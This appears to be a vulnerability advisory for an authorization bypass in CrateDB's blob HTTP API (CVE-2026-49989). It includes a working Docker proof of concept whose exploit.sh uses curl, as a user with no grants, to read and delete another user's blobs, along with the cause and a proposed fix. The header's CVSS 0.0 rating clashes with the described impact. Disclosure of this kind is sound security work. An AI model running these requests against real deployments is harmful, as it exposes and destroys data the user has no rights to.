Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-49989 is a low severity vulnerability with a CVSS score of 0.0. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
Component: io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.
CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.
The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.
server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:
// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
if (possibleRedirect(index, digest)) {
return;
}
if (method.equals(HttpMethod.GET)) {
get(index, digest);
reset();
} else if (method.equals(HttpMethod.HEAD)) {
head(index, digest);
} else if (method.equals(HttpMethod.PUT)) {
put(content, index, digest);
} else if (method.equals(HttpMethod.DELETE)) {
delete(index, digest);
} else {
simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
}
}
No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:
// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
if (range != null) {
partialContentResponse(index, digest);
} else {
fullContentResponse(index, digest);
}
}
<details>
<summary><code>docker-compose.yml</code></summary>
</details>
<details>
<summary><code>setup.sql</code></summary>
</details>
<details>
<summary><code>exploit.sh</code></summary>
</details>
<details>
<summary><code>run.sh</code></summary>
</details>
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.
The APIs that should be called here, used by the SQL path before every statement is dispatched:
server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.
| Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |
Digest secrecy is not a documented security boundary.
End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.
./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:
PUT /_blobs/.... Success (201).GET /_blobs/.... 200 OK plus the blob payload (the bug).DELETE /_blobs/.... 204 No Content (the bug, again).Sample output from a real run:
=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR: Schema 'blob' unknown ...
=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin
=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS
services:
cratedb:
image: crate:6.2.7
ports:
- "4200:4200"
- "5432:5432"
command: >
crate
-Cnetwork.host=0.0.0.0
-Cdiscovery.type=single-node
-Cauth.host_based.enabled=true
-Cauth.host_based.config.0.user=crate
-Cauth.host_based.config.0.method=trust
-Cauth.host_based.config.99.method=password
-Cblobs.path=/data/blobs
environment:
- CRATE_HEAP_SIZE=512m
healthcheck:
test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
interval: 5s
timeout: 5s
retries: 12
HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.
-- Create the blob table
CREATE BLOB TABLE secret_blobs;
-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;
-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user
#!/usr/bin/env bash
set -euo pipefail
CRATE_HTTP="http://localhost:4200"
BLOB_TABLE="secret_blobs"
BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'
header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
sql_as() {
local user="$1" pass="$2" query="$3"
PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}
# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u admin:adminpass \
-XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
-d "$BLOB_CONTENT")
if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
else
fail "Admin blob upload returned HTTP $HTTP_CODE"
exit 1
fi
# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
else
fail "Admin SQL query returned no results"
fi
# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
pass "Unprivileged user correctly denied SQL access"
info "Server response: $(echo "$RESULT" | head -1)"
else
fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi
# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
-u unprivileged:unpriv123 \
"${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
BODY=$(cat /tmp/blob_out)
if [[ "$HTTP_CODE" == "200" ]]; then
fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
info "Retrieved content: ${BODY}"
else
pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-u unprivileged:unpriv123 \
-XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
else
pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
info "Blob still exists (count=$RESULT)"
fi
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
DC=(docker-compose)
else
echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
exit 2
fi
cleanup() {
info "Stopping containers..."
"${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT
info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d
info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
break
fi
sleep 1
done
# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
break
fi
sleep 1
done
info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql
# Give CrateDB a moment to propagate user/privilege changes
sleep 2
info "Running exploit..."
echo ""
bash exploit.sh
Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.
| HTTP verb | SQL equivalent | Required privilege on blob.<table> |
|---|---|---|
| GET / HEAD | SELECT | DQL |
| PUT | INSERT / UPDATE | DML |
| DELETE | DELETE | DML |
Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).
Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.